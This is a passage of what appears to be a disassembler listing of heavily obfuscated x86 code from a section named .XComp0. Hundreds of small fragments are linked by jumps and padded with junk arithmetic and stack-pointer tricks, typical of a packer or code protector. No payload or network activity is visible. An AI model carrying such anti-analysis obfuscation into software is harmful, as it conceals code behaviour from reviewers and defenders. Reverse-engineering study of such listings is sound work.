eax, [esp] mov esp, [esp] mov [esp], ax jmp loc_573541 ; --------------------------------------------------------------------------- loc_57B085: ; CODE XREF: .XComp0:0057BDC4j pop ebx pop dword ptr [esp] pop esp and eax, edi mov edi, [esp] add esp, 4 jmp loc_57740D ; --------------------------------------------------------------------------- loc_57B09A: ; CODE XREF: .XComp0:0057CBB8j pop edx shl edx, 7 shl edx, 3 neg edx xor edx, 0FEA18F2Ah mov ebx, edx jmp loc_582945 ; --------------------------------------------------------------------------- loc_57B0B0: ; CODE XREF: .XComp0:00575431j push esp pop ecx add ecx, 4 add ecx, 4 xor ecx, [esp] jmp loc_580CA3 ; --------------------------------------------------------------------------- loc_57B0C6: ; CODE XREF: .XComp0:005777BEj add esi, 0FFFFFFFFh push eax mov eax, 25524323h xor esi, eax pop eax sub esi, 19A9CFA5h mov edx, 17A0ECA6h jmp loc_580B07 ; --------------------------------------------------------------------------- loc_57B0E5: ; CODE XREF: .XComp0:0057C027j push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_57971B ; --------------------------------------------------------------------------- loc_57B0FD: ; CODE XREF: .XComp0:0057E71Aj push ecx jmp loc_57E884 ; --------------------------------------------------------------------------- loc_57B103: ; CODE XREF: .XComp0:005737DEj add dword ptr [esp], 4 pop esi add esi, 4 push 4A4h mov [esp], edi mov edi, 4 add esi, edi push dword ptr [esp] mov edi, [esp] jmp loc_578704 ; --------------------------------------------------------------------------- loc_57B12B: ; CODE XREF: .XComp0:00575FC3j sub edi, 35481924h pop edx pop eax push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp push ebx push ecx push 7FD11352h jmp loc_57ACF1 ; --------------------------------------------------------------------------- loc_57B149: ; CODE XREF: .XComp0:005820ECj shr edx, 1 jmp loc_576CE2 ; --------------------------------------------------------------------------- loc_57B150: ; CODE XREF: .XComp0:00577427j not dl xor dl, 30h jmp loc_573EAE ; --------------------------------------------------------------------------- loc_57B15A: ; CODE XREF: .XComp0:005759C6j mov ecx, 4BDE45C7h xor ecx, edi pop edi jmp loc_583285 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_57B167: ; CODE XREF: sub_5A47B5-2E534j mov [esp+22h+var_24+2], ecx mov cl, 9Fh xor cl, 60h push edx jmp loc_57E6C0 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_57B175: ; CODE XREF: .XComp0:00575C1Fj neg ebp push edi push 38D5107Bh pop edi jmp loc_57675B ; --------------------------------------------------------------------------- loc_57B183: ; CODE XREF: .XComp0:00573936j push ecx mov ecx, 2E0710C9h add ecx, 442F7528h shl ecx, 2 jmp loc_577875 ; --------------------------------------------------------------------------- loc_57B197: ; CODE XREF: .XComp0:00574A08j add al, 2Dh add al, 20h pop ebx push 6F5Ch mov [esp], ebx mov bh, 1Fh jmp loc_57A63B ; --------------------------------------------------------------------------- loc_57B1AB: ; CODE XREF: .XComp0:005752D8j mov esi, [esp] jmp loc_582758 ; --------------------------------------------------------------------------- loc_57B1B3: ; CODE XREF: .XComp0:0057D79Dj pop eax sub ebx, edx pop edx pop ebp xor eax, ebx push dword ptr [esp] pop ebx add esp, 4 xor ebx, eax sub esp, 4 jmp loc_57F8C3 ; --------------------------------------------------------------------------- loc_57B1CB: ; CODE XREF: .XComp0:0057F295j pop ebx jmp loc_573ED2 ; --------------------------------------------------------------------------- loc_57B1D1: ; CODE XREF: .XComp0:00574D24j pop edi not eax jmp loc_5819FC ; --------------------------------------------------------------------------- loc_57B1D9: ; CODE XREF: .XComp0:0057502Dj add edi, 0B0A99211h xor edx, edi jmp loc_57853A ; --------------------------------------------------------------------------- loc_57B1E6: ; CODE XREF: .XComp0:0057B88Cj neg esi shr esi, 4 jmp loc_5765DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_57B1F0: ; CODE XREF: sub_5A47B5-24010j pop eax xchg esi, [esp+22h+var_24+2] pop esp push eax mov eax, esp add eax, 4 jmp loc_57796E ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_57B202: ; CODE XREF: .XComp0:00576775j xor esi, edx pop edx inc esi jmp loc_579297 ; --------------------------------------------------------------------------- loc_57B20B: ; CODE XREF: .XComp0:0057F6E2j push dword ptr [esp] pop edx add esp, 4 pop dword ptr [esp] mov esp, [esp] push 2CB9h mov [esp], edx push 184Eh mov [esp], eax mov eax, 800000h sub esp, 4 mov [esp], edi jmp loc_5745A3 ; --------------------------------------------------------------------------- loc_57B238: ; CODE XREF: .XComp0:005752ADj add ecx, 0FB907004h mov edx, ecx pop ecx xor edx, 2C7912h add ecx, 0DC14AA1h add ecx, edx jmp loc_58106A ; --------------------------------------------------------------------------- loc_57B254: ; CODE XREF: .XComp0:005749B1j add ecx, 49FF6A22h jmp loc_57DA32 ; --------------------------------------------------------------------------- loc_57B25F: ; CODE XREF: .XComp0:00579651j add edx, 2 push edx push dword ptr [esp+4] pop edx jmp loc_579FAC ; --------------------------------------------------------------------------- loc_57B26D: ; CODE XREF: .XComp0:00574E05j add eax, 0B2D44592h xor esi, eax pop eax xor esi, 637004E2h xor esi, 6FF5215Eh mov edi, esi pop esi push esi mov esi, 335D3E2Bh jmp loc_57AAA0 ; --------------------------------------------------------------------------- loc_57B28F: ; CODE XREF: .XComp0:00573A19j add ebp, ebx pop ebx not ebp shr ebp, 8 sub ebp, 0BCF142h add ecx, 69E5580Bh sub ecx, 255B6BBFh add ecx, ebp add ecx, 255B6BBFh push 7C11h mov [esp], edx push eax mov eax, 69E5580Bh mov edx, eax pop eax sub ecx, edx pop edx jmp loc_57842C ; --------------------------------------------------------------------------- loc_57B2CA: ; CODE XREF: .XComp0:00575776j pop eax add esp, 4 jmp loc_574009 ; --------------------------------------------------------------------------- loc_57B2D6: ; CODE XREF: .XComp0:0057718Dj xchg esi, [esp] mov esp, [esp] mul cl movzx cx, ah jmp loc_576543 ; --------------------------------------------------------------------------- loc_57B2E7: ; CODE XREF: .XComp0:0057A71Cj push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_581E40 ; --------------------------------------------------------------------------- loc_57B2F4: ; CODE XREF: .XComp0:0057CBA4j add ebp, edx pop edx push 5062h mov [esp], eax mov eax, 4 sub ebp, eax jmp loc_57E208 ; --------------------------------------------------------------------------- loc_57B30B: ; CODE XREF: .XComp0:005784D3j mov esp, [esp] jmp loc_57A4F2 ; --------------------------------------------------------------------------- loc_57B313: ; CODE XREF: .XComp0:0057B903j xchg ecx, [esp] mov esp, [esp] add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] push 30B5h mov [esp], esi jmp loc_573FD3 ; --------------------------------------------------------------------------- loc_57B335: ; CODE XREF: .XComp0:0057417Ej add edi, 53F7168Fh xor edi, 11896328h mov eax, edi pop edi inc eax inc eax jmp loc_57E5A6 ; --------------------------------------------------------------------------- loc_57B34B: ; CODE XREF: .XComp0:00577B89j and bl, 8Ah sub bl, 0D4h sub al, bl pop ebx pop edx add bl, 0E2h jmp loc_57F844 ; --------------------------------------------------------------------------- loc_57B35D: ; CODE XREF: .XComp0:00581235j mov [esp], esi mov esi, 366C125Ah jmp loc_5756A0 ; --------------------------------------------------------------------------- loc_57B36A: ; CODE XREF: .XComp0:00580F9Cj add bx, 32D3h xor ax, bx jmp loc_57441B ; --------------------------------------------------------------------------- loc_57B377: ; CODE XREF: .XComp0:00582645j mov [esp], ebx push 6A94h mov [esp], eax mov eax, 296435BDh sub eax, 1 sub eax, 0B7CD161Eh mov ebx, eax pop eax shl ebx, 5 push 7234h mov [esp], ebx xchg ebp, [esp] not ebp xchg ebp, [esp] pop ebx sub esp, 4 mov [esp], edi mov edi, 19A07FCBh push edi mov edi, 26582DB4h add ebx, edi pop edi sub ebx, edi sub ebx, 26582DB4h mov edi, [esp] add esp, 4 push edi mov edi, 6F1E4079h not edi xor edi, 0B15D86F1h xor ebx, edi pop edi add ebx, 6D384AFCh jmp loc_5751E0 ; --------------------------------------------------------------------------- loc_57B3E6: ; CODE XREF: .XComp0:0057594Fj pop ecx not ebx shr ebx, 1 sub ebx, 1894B3C5h and ecx, ebx jmp loc_581C27 ; --------------------------------------------------------------------------- loc_57B3F8: ; CODE XREF: .XComp0:0057E6E8j xchg edx, [esp] pop esp or edx, eax shl edx, 1 push edi jmp loc_578245 ; --------------------------------------------------------------------------- loc_57B406: ; CODE XREF: .XComp0:0057FCC0j add ebx, eax pop eax sub ecx, 6425B7Ch sub ecx, ebx add ecx, 6425B7Ch pop ebx jmp loc_58257F ; --------------------------------------------------------------------------- loc_57B41D: ; CODE XREF: .XComp0:00577C30j push dword ptr [esp] push dword ptr [esp] pop ecx push eax jmp loc_575F10 ; --------------------------------------------------------------------------- loc_57B42A: ; CODE XREF: .XComp0:00575C34j xor ecx, 41314FADh and ecx, 66D97974h shl ecx, 2 add ecx, 64DF7EB4h add ebp, ecx pop ecx jmp loc_57C11C ; --------------------------------------------------------------------------- loc_57B447: ; CODE XREF: .XComp0:00578492j mov eax, 4B2A36D7h sub eax, 0FFFFFFFFh xor eax, 678878D5h mov ebx, eax mov eax, [esp] add esp, 4 or edx, ebx jmp loc_5827EC ; --------------------------------------------------------------------------- loc_57B463: ; CODE XREF: .XComp0:0057CF4Dj inc edi or edi, 17A46704h add edi, 0E001981Eh sub eax, edi mov edi, [esp] add esp, 4 xchg eax, [esp] pop esp mov [esp], eax push esp pop eax jmp loc_5821A4 ; --------------------------------------------------------------------------- loc_57B489: ; CODE XREF: .XComp0:0058229Cj push dword ptr [esp] pop edx add esp, 4 shr eax, 0Ch xor eax, ecx xchg eax, ebp push ebp push 6AA0h mov [esp], ecx push dword ptr [esp+4] push dword ptr [esp] pop ecx add esp, 4 jmp loc_57E2FC ; --------------------------------------------------------------------------- loc_57B4B2: ; CODE XREF: .XComp0:00580497j push ebp mov ebp, 18B36002h xor ebp, 0FB31714h or edi, ebp jmp loc_576206 ; --------------------------------------------------------------------------- loc_57B4C5: ; CODE XREF: .XComp0:005781C5j push 2 pop ebx jmp loc_57C4C6 ; --------------------------------------------------------------------------- loc_57B4D0: ; CODE XREF: .XComp0:0057F466j add edi, 76A056F1h pop eax xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] sar word ptr [esp], cl pushf jmp loc_57F56A ; --------------------------------------------------------------------------- loc_57B4ED: ; CODE XREF: .XComp0:00579B12j xor edx, 0B7993625h add eax, 72E4677Ah add eax, edx push 5A88h mov [esp], esi mov esi, 72E4677Ah push ebx mov ebx, 6C020935h shr ebx, 4 jmp loc_5818AF ; --------------------------------------------------------------------------- loc_57B515: ; CODE XREF: .XComp0:0057A0ECj mov edi, [esp] add esp, 4 jmp loc_57EC8C ; --------------------------------------------------------------------------- loc_57B520: ; CODE XREF: .XComp0:005796AFj xor esi, 3B0455B6h neg esi sub esi, 280370D4h and eax, esi jmp loc_580B1A ; --------------------------------------------------------------------------- loc_57B535: ; CODE XREF: .XComp0:00581E3Bj add al, 11h sub al, 49h sub al, dh jmp loc_576E94 ; --------------------------------------------------------------------------- loc_57B540: ; CODE XREF: .XComp0:0057F68Aj mov dh, 0E5h jmp loc_5763ED ; --------------------------------------------------------------------------- loc_57B547: ; CODE XREF: .XComp0:0058022Dj push ebx mov ebx, 1FA6652Ch add ebx, 68FE5868h or ebx, 5B32F77h push 5FADh mov [esp], ebp push ebx mov ebx, 1AF00174h and ebx, 78747527h push esi mov esi, 27780122h jmp loc_573D50 ; --------------------------------------------------------------------------- loc_57B578: ; CODE XREF: .XComp0:0057BD8Ej add edi, ebp pop ebp xchg edi, [esp] mov esp, [esp] jmp loc_583295 ; --------------------------------------------------------------------------- loc_57B586: ; CODE XREF: .XComp0:0057C457j pop edx push ecx jmp loc_57FEA6 ; --------------------------------------------------------------------------- loc_57B58D: ; CODE XREF: .XComp0:00577D1Fj xchg esi, ecx push edx mov edx, 0A6C790A5h jmp loc_576868 ; --------------------------------------------------------------------------- loc_57B59A: ; CODE XREF: .XComp0:005832DFj push esi mov esi, 490C2D17h xor esi, 0F5E4CBB4h add ebx, esi pop esi push edx mov edx, ebx mov ebp, edx pop edx push dword ptr [esp] pop ebx push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add [esp+4], ebp mov ebp, [esp] add esp, 4 push dword ptr [esp] pop ebx jmp loc_58080C ; --------------------------------------------------------------------------- loc_57B5D8: ; CODE XREF: .XComp0:0057C432j pop edi dec edi sub edi, 2F9F12D6h neg edi sub edi, 0B9AD0D40h sub edx, edi pop edi xchg edx, [esp] jmp loc_581A40 ; --------------------------------------------------------------------------- loc_57B5F3: ; CODE XREF: .XComp0:005781D0j xor eax, 53B61C38h add ecx, eax pop eax jmp loc_5813B2 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edx push esp mov edx, [esp] push esi jmp loc_57CEE9 ; --------------------------------------------------------------------------- loc_57B614: ; CODE XREF: .XComp0:00578ECBj pop esp mov fs:[edx], al jmp loc_573541 ; --------------------------------------------------------------------------- loc_57B61D: ; CODE XREF: .XComp0:0057A643j mov dl, bl pop ebx pop ecx jmp loc_578F11 ; --------------------------------------------------------------------------- loc_57B626: ; CODE XREF: .XComp0:00574350j sub esp, 4 mov [esp], ebx mov ebx, esp jmp loc_57BF05 ; --------------------------------------------------------------------------- loc_57B636: ; CODE XREF: .XComp0:0057F3E6j add edx, 4 sub esp, 4 mov [esp], esi push edi push ebx mov ebx, 5105266Ah mov edi, 0D2D7527Bh add edi, ebx pop ebx mov esi, 2D180D55h xor esi, edi pop edi shr esi, 5 push ecx jmp loc_573EFB ; --------------------------------------------------------------------------- loc_57B665: ; CODE XREF: .XComp0:00578BC6j xor esi, 0F026B944h add ebx, esi push dword ptr [esp] jmp loc_582F9E ; --------------------------------------------------------------------------- loc_57B675: ; CODE XREF: .XComp0:00581253j xor ebp, esi mov esi, [esp] add esp, 4 add ebp, 0F9D29C86h sub eax, 4B382DADh add eax, ebp add eax, 4B382DADh pop ebp push esi mov esi, 2 add eax, esi push dword ptr [esp] pop esi jmp loc_57463C ; --------------------------------------------------------------------------- loc_57B6A1: ; CODE XREF: .XComp0:005764C8j pop ebx jmp loc_5744E6 ; --------------------------------------------------------------------------- loc_57B6A7: ; CODE XREF: .XComp0:005784F2j mov esi, 27B0A5Dh sub edi, esi jmp loc_575B08 ; --------------------------------------------------------------------------- mov ax, [esp] push 5BA5h mov [esp], esi mov esi, esp push eax jmp loc_5833AC ; --------------------------------------------------------------------------- loc_57B6C7: ; CODE XREF: .XComp0:0057C2DDj pop edx sub eax, 362C7071h push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_579D40 ; --------------------------------------------------------------------------- loc_57B6E2: ; CODE XREF: .XComp0:00580BEBj xchg eax, [esp] pop esp mov fs:[edx], ax jmp loc_573541 ; --------------------------------------------------------------------------- loc_57B6EF: ; CODE XREF: .XComp0:0057EE11j mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx push ebx mov ebx, esp add ebx, 4 jmp loc_5739DF ; --------------------------------------------------------------------------- loc_57B714: ; CODE XREF: .XComp0:005755E6j pop esi xchg edi, [esp] jmp loc_57C407 ; --------------------------------------------------------------------------- loc_57B71D: ; CODE XREF: .XComp0:00582E00j add ebp, 4 xchg ebp, [esp] jmp loc_578657 ; --------------------------------------------------------------------------- loc_57B72B: ; CODE XREF: .XComp0:005786FFj add eax, 75141944h jmp loc_579238 ; --------------------------------------------------------------------------- loc_57B735: ; CODE XREF: .XComp0:00576C68j sub al, ch pop ecx sub al, bl add al, 0C8h push ebx push edx push ecx push eax mov al, 26h jmp loc_58037F ; --------------------------------------------------------------------------- loc_57B747: ; CODE XREF: .XComp0:00575E97j push ecx mov ecx, esp jmp loc_576824 ; --------------------------------------------------------------------------- loc_57B74F: ; CODE XREF: .XComp0:005766B1j xor edx, 234EB302h sub edx, 16467C9Dh sub edx, 56CE3FD0h and edx, 5BD83976h shl edx, 6 add edx, 0DB784B5Ah add edi, edx pop edx sub eax, 15B43286h add eax, edi add eax, 15B43286h jmp loc_57991D ; --------------------------------------------------------------------------- loc_57B784: ; CODE XREF: .XComp0:0057DE43j sub eax, 615A0086h jmp loc_57682F ; --------------------------------------------------------------------------- loc_57B78E: ; CODE XREF: .XComp0:0057CD50j add ebp, 4 xchg ebp, [esp] pop esp add ebx, ecx push edx mov edx, 39363735h add ebx, edx pop edx jmp loc_580121 ; --------------------------------------------------------------------------- loc_57B7A5: ; CODE XREF: .XComp0:0057E15Dj mov ebx, 450E22D2h shl ebx, 8 neg ebx sub ebx, 77F1D88Ch sub ecx, ebx pop ebx add esi, 6AA777F9h sub esi, 48D7287Bh add esi, ecx add esi, 48D7287Bh sub esi, 6AA777F9h pop ecx xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] and [esp], eax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57B7E8: ; CODE XREF: .XComp0:005747C9j mov [esp], ebp push 0D2C47BDh pop ebp jmp loc_5762D4 ; --------------------------------------------------------------------------- loc_57B7F6: ; CODE XREF: .XComp0:00577010j pop edi push 79CFh mov [esp], esi mov esi, 1C656B4Bh xor ebx, esi mov esi, [esp] jmp loc_579E1A ; --------------------------------------------------------------------------- loc_57B80E: ; CODE XREF: .XComp0:005829DDj add esp, 4 jmp loc_579FD6 ; --------------------------------------------------------------------------- loc_57B819: ; CODE XREF: .XComp0:0057F700j add eax, 4 push 3A06h mov [esp], ebp mov ebp, 4 sub eax, ebp pop ebp jmp loc_57E8CB ; --------------------------------------------------------------------------- loc_57B833: ; CODE XREF: .XComp0:0057520Bj pop ecx dec ebp shr ebp, 1 xor ebp, 47DA71DCh push ecx mov ecx, 10EC73F7h add ebp, ecx pop ecx and eax, ebp jmp loc_5786F3 ; --------------------------------------------------------------------------- loc_57B84D: ; CODE XREF: .XComp0:0057FB71j xor esi, 7C5063C7h jmp loc_57944E ; --------------------------------------------------------------------------- push ebx jmp loc_57E0E6 ; --------------------------------------------------------------------------- loc_57B85E: ; CODE XREF: .XComp0:005819A5j add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_57F725 ; --------------------------------------------------------------------------- loc_57B86F: ; CODE XREF: .XComp0:0057C15Aj push 63826640h pop ecx xor ecx, eax jmp loc_57E85D ; --------------------------------------------------------------------------- loc_57B87C: ; CODE XREF: .XComp0:0057A7D3j push edi push 5EF0402Ch jmp loc_58274C ; --------------------------------------------------------------------------- loc_57B887: ; CODE XREF: .XComp0:0057FA94j mov esi, 54D116D7h jmp loc_57B1E6 ; --------------------------------------------------------------------------- loc_57B891: ; CODE XREF: .XComp0:0057C1E2j shr eax, 12h xor eax, ecx push 2CC6h mov [esp], eax xchg ecx, [esp] push 2B39h jmp loc_57549E ; --------------------------------------------------------------------------- loc_57B8AB: ; CODE XREF: .XComp0:0057A759j add edx, eax jmp loc_582AB0 ; --------------------------------------------------------------------------- loc_57B8B2: ; CODE XREF: .XComp0:00582869j push small 37C2h mov [esp], dx mov dl, 39h sub al, 0AAh sub al, dl jmp loc_57A35F ; --------------------------------------------------------------------------- loc_57B8C5: ; CODE XREF: .XComp0:0057EA19j sub edi, 1840397Ah pop ecx add eax, edi pop edi push 27FDh mov [esp], esi jmp loc_575CF5 ; --------------------------------------------------------------------------- loc_57B8DC: ; CODE XREF: .XComp0:00579AB0j sub esi, 5F8B1B38h add edx, esi pop esi push edx push dword ptr [esp+4] jmp loc_580881 ; --------------------------------------------------------------------------- loc_57B8EF: ; CODE XREF: .XComp0:0057D811j pop esi push 7779h mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_57B313 ; --------------------------------------------------------------------------- loc_57B908: ; CODE XREF: .XComp0:00580512j sub ebp, 1131367Eh jmp loc_57E31F ; --------------------------------------------------------------------------- loc_57B913: ; CODE XREF: .XComp0:0057A231j mov esp, [esp] add dword ptr [esp], 37485B67h jmp loc_5797AD ; --------------------------------------------------------------------------- loc_57B922: ; CODE XREF: .XComp0:00582C1Aj add edx, ebp jmp loc_5833A1 ; --------------------------------------------------------------------------- loc_57B929: ; CODE XREF: .XComp0:00582295j sub dx, 5D7Bh jmp loc_5739D7 ; --------------------------------------------------------------------------- loc_57B933: ; CODE XREF: .XComp0:00583333j add eax, edx add eax, 5EA83EADh mov edx, [esp] add esp, 4 xor eax, [esp] xor [esp], eax jmp loc_5748BB ; --------------------------------------------------------------------------- loc_57B94B: ; CODE XREF: .XComp0:005795D6j inc word ptr [esp] pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57B955: ; CODE XREF: .XComp0:0057CBD3j shr ecx, 1 jmp loc_57A216 ; --------------------------------------------------------------------------- loc_57B95C: ; CODE XREF: .XComp0:005791A3j mov [esp], ecx push 3FB6h jmp loc_57BE5B ; --------------------------------------------------------------------------- loc_57B969: ; CODE XREF: .XComp0:0057A5B5j push cx jmp loc_575EF0 ; --------------------------------------------------------------------------- loc_57B970: ; CODE XREF: .XComp0:00578362j xor ecx, [esp] pop esp inc byte ptr [esp] pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57B97D: ; CODE XREF: .XComp0:00579727j mov eax, 7EBB1D53h add eax, 0FFFFFFFFh push ebx mov ebx, 221B78E8h add eax, ebx pop ebx dec eax jmp loc_57A754 ; --------------------------------------------------------------------------- loc_57B994: ; CODE XREF: .XComp0:0058041Dj pop eax xchg eax, [esp] push dword ptr [esp] jmp loc_57C7D8 ; --------------------------------------------------------------------------- loc_57B9A0: ; CODE XREF: .XComp0:00582C10j add dh, 0AEh push ebx mov bh, dh mov cl, bh pop ebx mov edx, [esp] add esp, 4 xchg bh, cl not bh xchg bh, cl add cl, 0B0h jmp loc_57A273 ; --------------------------------------------------------------------------- loc_57B9C0: ; CODE XREF: .XComp0:00575C55j push 170Eh push esp pop dword ptr [esp] add dword ptr [esp], 4 pop edi push esi jmp loc_57FBFD ; --------------------------------------------------------------------------- loc_57B9D7: ; CODE XREF: .XComp0:00574683j mov esi, 7AC90E1Fh mov eax, esi jmp loc_574C88 ; --------------------------------------------------------------------------- loc_57B9E3: ; CODE XREF: .XComp0:0057D476j mov esi, 2F976B85h dec esi push ebp jmp loc_582463 ; --------------------------------------------------------------------------- loc_57B9EF: ; CODE XREF: .XComp0:005746E2j add eax, 20784941h add eax, ebx sub eax, 20784941h jmp loc_5789D4 ; --------------------------------------------------------------------------- loc_57BA00: ; CODE XREF: .XComp0:0057D8C3j push 81Ah mov [esp], ebx push eax mov al, 40h and al, 58h and al, 60h jmp loc_57BA4E ; --------------------------------------------------------------------------- loc_57BA14: ; CODE XREF: .XComp0:0057E342j add esp, 4 jmp loc_573541 ; --------------------------------------------------------------------------- loc_57BA1C: ; CODE XREF: .XComp0:005834DCj pop edx jmp loc_576CBE ; --------------------------------------------------------------------------- loc_57BA22: ; CODE XREF: .XComp0:00576F3Aj push 2A48h mov [esp], ecx push eax mov eax, 407D77CCh jmp loc_57CA66 ; --------------------------------------------------------------------------- loc_57BA35: ; CODE XREF: .XComp0:0057CF61j add ebp, 4 jmp loc_581EE2 ; --------------------------------------------------------------------------- loc_57BA40: ; CODE XREF: .XComp0:005829C0j push dword ptr [esp] jmp loc_5822EB ; --------------------------------------------------------------------------- loc_57BA48: ; CODE XREF: .XComp0:00573E25j pop esp jmp loc_57CBCA ; --------------------------------------------------------------------------- loc_57BA4E: ; CODE XREF: .XComp0:0057BA0Fj xor al, 9Eh jmp loc_57922E ; --------------------------------------------------------------------------- loc_57BA55: ; CODE XREF: .XComp0:0057ABF2j mov ecx, 14D83B41h jmp loc_57C2DA ; --------------------------------------------------------------------------- loc_57BA5F: ; CODE XREF: .XComp0:00580538j mov ecx, 63010E6Bh sub ecx, 63010D6Bh and eax, ecx push dword ptr [esp] jmp loc_573EA8 ; --------------------------------------------------------------------------- loc_57BA74: ; CODE XREF: .XComp0:00574888j xor esi, ecx pop ecx and eax, esi push dword ptr [esp] push dword ptr [esp] pop esi push edi mov edi, esp add edi, 4 push ebx jmp loc_57ACB9 ; --------------------------------------------------------------------------- loc_57BA8F: ; CODE XREF: .XComp0:0057741Bj pop eax jmp loc_58252A ; --------------------------------------------------------------------------- loc_57BA95: ; CODE XREF: .XComp0:00579803j mov cl, bh jmp loc_573FDE ; --------------------------------------------------------------------------- push edx push esi jmp loc_57EA3A ; --------------------------------------------------------------------------- loc_57BAA3: ; CODE XREF: .XComp0:0058213Aj mov ebx, esp add ebx, 4 push ebp mov ebp, 4 jmp loc_578B67 ; --------------------------------------------------------------------------- loc_57BAB6: ; CODE XREF: .XComp0:0058021Bj push ebx jmp loc_581594 ; --------------------------------------------------------------------------- loc_57BABC: ; CODE XREF: .XComp0:00579ADEj push 77A2h mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push ebx jmp loc_5762E6 ; --------------------------------------------------------------------------- loc_57BAD4: ; CODE XREF: .XComp0:00581FF7j push 5F5Dh mov [esp], eax mov eax, 2 sub ebx, 26B01F70h sub ebx, eax add ebx, 26B01F70h pop eax jmp loc_574F4D ; --------------------------------------------------------------------------- loc_57BAF5: ; CODE XREF: .XComp0:0057AF35j pop esp mov [esp], ecx mov ecx, 1E7B4308h jmp loc_577810 ; --------------------------------------------------------------------------- loc_57BB03: ; CODE XREF: .XComp0:0057A298j push edi mov edi, 77CA245Ah sub edx, edi jmp loc_57AFE9 ; --------------------------------------------------------------------------- loc_57BB10: ; CODE XREF: .XComp0:0057DDCBj sub edi, 0F3C40C91h mov esi, edi pop edi jmp loc_575986 ; --------------------------------------------------------------------------- loc_57BB1E: ; CODE XREF: .XComp0:00582FCEj add ebp, 7129CD01h sub eax, ebp pop ebp push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebp push ecx mov ecx, 5454ED9h push edx jmp loc_573913 ; --------------------------------------------------------------------------- loc_57BB49: ; CODE XREF: .XComp0:0058103Cj mov edi, ecx pop ecx push ebx mov ebx, 2F0422C1h mov eax, ebx jmp loc_574D06 ; --------------------------------------------------------------------------- loc_57BB59: ; CODE XREF: .XComp0:00579458j push dword ptr [esp] mov esi, [esp] add esp, 4 push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], eax mov eax, 2E4F1C01h jmp loc_574D87 ; --------------------------------------------------------------------------- loc_57BB7E: ; CODE XREF: .XComp0:0057CD6Bj jmp loc_573541 ; --------------------------------------------------------------------------- loc_57BB83: ; CODE XREF: .XComp0:0057E69Fj sub edi, ebp pop ebp xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov [esp], ebx push 1181h mov [esp], eax push dword ptr [esp] push dword ptr [esp] mov ebx, [esp] add esp, 4 push ecx mov ecx, esp push edx mov edx, 284F2AEBh push ebx mov ebx, 5371695Ah jmp loc_5817EC ; --------------------------------------------------------------------------- loc_57BBC0: ; CODE XREF: .XComp0:00576EA5j push ecx mov ecx, 32E8462Eh or ecx, 2DC149BDh dec ecx jmp loc_57F789 ; --------------------------------------------------------------------------- loc_57BBD2: ; CODE XREF: .XComp0:00577844j push 1E2Ah mov [esp], ecx mov ecx, 52210A3Bh sub [esp+8], ecx pop ecx pop edi pop edx push esi mov esi, 166B4536h dec esi inc esi add esi, 501C4FFFh xor esi, 67B2FF65h sub edx, esi pop esi jmp loc_579084 ; --------------------------------------------------------------------------- loc_57BC02: ; CODE XREF: .XComp0:0057D843j add edi, ebx jmp loc_57BE31 ; --------------------------------------------------------------------------- loc_57BC09: ; CODE XREF: .XComp0:0058074Dj push 3882h mov [esp], ebx mov bl, 78h add al, bl pop ebx sub al, bh jmp loc_573847 ; --------------------------------------------------------------------------- loc_57BC1D: ; CODE XREF: .XComp0:0057C2B8j sub ecx, 3A672C44h add ecx, edx jmp loc_573E7D ; --------------------------------------------------------------------------- loc_57BC2A: ; CODE XREF: .XComp0:00579DE8j sub ah, ch pop ecx neg ah add ah, 0DAh xor ah, 0DCh mov cl, ah pop eax push edx mov dl, 54h sub dl, 0D9h sub dl, 3Fh jmp loc_57A110 ; --------------------------------------------------------------------------- loc_57BC46: ; CODE XREF: .XComp0:005827F3j sub ebx, 1EC24EDCh sub ebx, edx add ebx, 1EC24EDCh pop edx sub ebx, 786639A1h jmp loc_5742C2 ; --------------------------------------------------------------------------- loc_57BC60: ; CODE XREF: .XComp0:00577987j add ebx, 25FA3CAAh and ebx, 6B41B04h push edi mov edi, 38F3287Fh inc edi jmp loc_57D860 ; --------------------------------------------------------------------------- loc_57BC78: ; CODE XREF: .XComp0:0057A890j push 711Dh mov [esp], eax jmp loc_57745D ; --------------------------------------------------------------------------- loc_57BC85: ; CODE XREF: .XComp0:00581DA4j mov [esp], edx sub esp, 4 jmp loc_57E162 ; --------------------------------------------------------------------------- loc_57BC90: ; CODE XREF: .XComp0:0057958Cj pop ecx add esi, edi jmp loc_5739B9 ; --------------------------------------------------------------------------- loc_57BC98: ; CODE XREF: .XComp0:0057D994j add esp, 4 shr ebx, 5 push 364Ch jmp loc_575EE3 ; --------------------------------------------------------------------------- loc_57BCA8: ; CODE XREF: .XComp0:0057F3C4j push eax push edx mov dl, 80h mov al, dl jmp loc_5744A7 ; --------------------------------------------------------------------------- loc_57BCB3: ; CODE XREF: .XComp0:0057A5ADj add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] jmp loc_573541 ; --------------------------------------------------------------------------- loc_57BCC7: ; CODE XREF: .XComp0:0057DA94j mov ebp, 67DB2E74h xor ebp, 0DCAAF577h jmp loc_576BDC ; --------------------------------------------------------------------------- 